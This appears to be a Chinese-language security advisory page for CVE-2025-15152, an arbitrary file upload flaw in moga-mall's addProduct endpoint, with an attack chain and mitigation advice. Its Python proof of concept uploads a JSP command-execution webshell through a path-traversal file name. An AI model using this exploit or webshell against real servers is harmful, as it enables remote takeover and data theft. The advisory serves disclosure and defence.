IPBUF安全漏洞报告
English
CVE-2025-15152 CVSS 6.3 中危

CVE-2025-15152 moga-mall 任意文件上传漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15152
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
moga-mall (h-moses)

相关标签

任意文件上传moga-mallCVE-2025-15152JavaWeb应用漏洞远程代码执行路径穿越电商系统

漏洞概述

CVE-2025-15152是moga-mall电商系统中存在的一个任意文件上传漏洞。该漏洞存在于PmsProductController.java的addProduct函数中,由于对上传文件的对象名称(objectName)参数缺乏有效的安全验证,攻击者可以通过构造恶意请求上传任意文件到服务器。攻击者可能利用此漏洞上传WebShell获取服务器控制权限,进而可能导致数据泄露、服务器被完全接管等严重后果。该漏洞可远程利用,但需要低权限认证。CVSS评分6.3,属于中危漏洞。

技术细节

漏洞位于src/main/java/com/ms/product/controller/PmsProductController.java文件中的addProduct方法。该方法在处理产品添加请求时,直接将用户提交的objectName参数作为文件保存路径或文件名使用,未进行任何安全校验或文件类型限制。攻击者可以通过构造包含恶意文件扩展名(如.jsp、.jspx、.php等)的objectName参数,上传webshell或其他恶意文件到服务器可执行目录。由于该接口需要低权限用户认证即可访问,攻击门槛较低。一旦恶意文件成功上传并被Web服务器解析,攻击者即可在服务器上执行任意代码。

攻击链分析

STEP 1
步骤1
攻击者注册并登录moga-mall系统,获取低权限用户账户
STEP 2
步骤2
构造恶意文件上传请求,在objectName参数中包含webshell代码和路径穿越字符
STEP 3
步骤3
通过addProduct接口提交恶意请求,绕过文件类型检查上传webshell
STEP 4
步骤4
访问上传的webshell文件,通过cmd参数执行系统命令
STEP 5
步骤5
获取服务器完全控制权,可进行数据窃取、横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15152 PoC - moga-mall Unrestricted File Upload # Target: moga-mall addProduct endpoint TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/api/login" UPLOAD_URL = f"{TARGET_URL}/pmsProduct/addProduct" # Step 1: Login with low-privilege account login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Upload malicious file via addProduct # The vulnerable parameter is 'objectName' in the product object malicious_file = "<%@ page contentType='text/html;charset=UTF-8' language='java' %>" malicious_file += "<%Runtime.getRuntime().exec(request.getParameter('cmd'));%>" # Encode as base64 or directly send payload = { "productName": "Test Product", "objectName": "../../webapps/ROOT/shell.jsp", # Path traversal + arbitrary filename "productImage": malicious_file, # Malicious content "description": "Malicious product" } upload_response = session.post(UPLOAD_URL, json=payload) if upload_response.status_code == 200: print("[+] Malicious file uploaded successfully") print(f"[+] Access shell at: {TARGET_URL}/shell.jsp?cmd=whoami") else: print(f"[-] Upload failed: {upload_response.status_code}") print(f"[-] Response: {upload_response.text}")

影响范围

moga-mall up to 392d631a5ef15962a9bddeeb9f1269b9085473fa

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)上配置规则,拦截包含路径穿越字符(../)和可疑文件扩展名(.jsp、.php、.asp等)的上传请求;限制上传文件大小和类型;暂时禁用产品图片上传功能直至官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表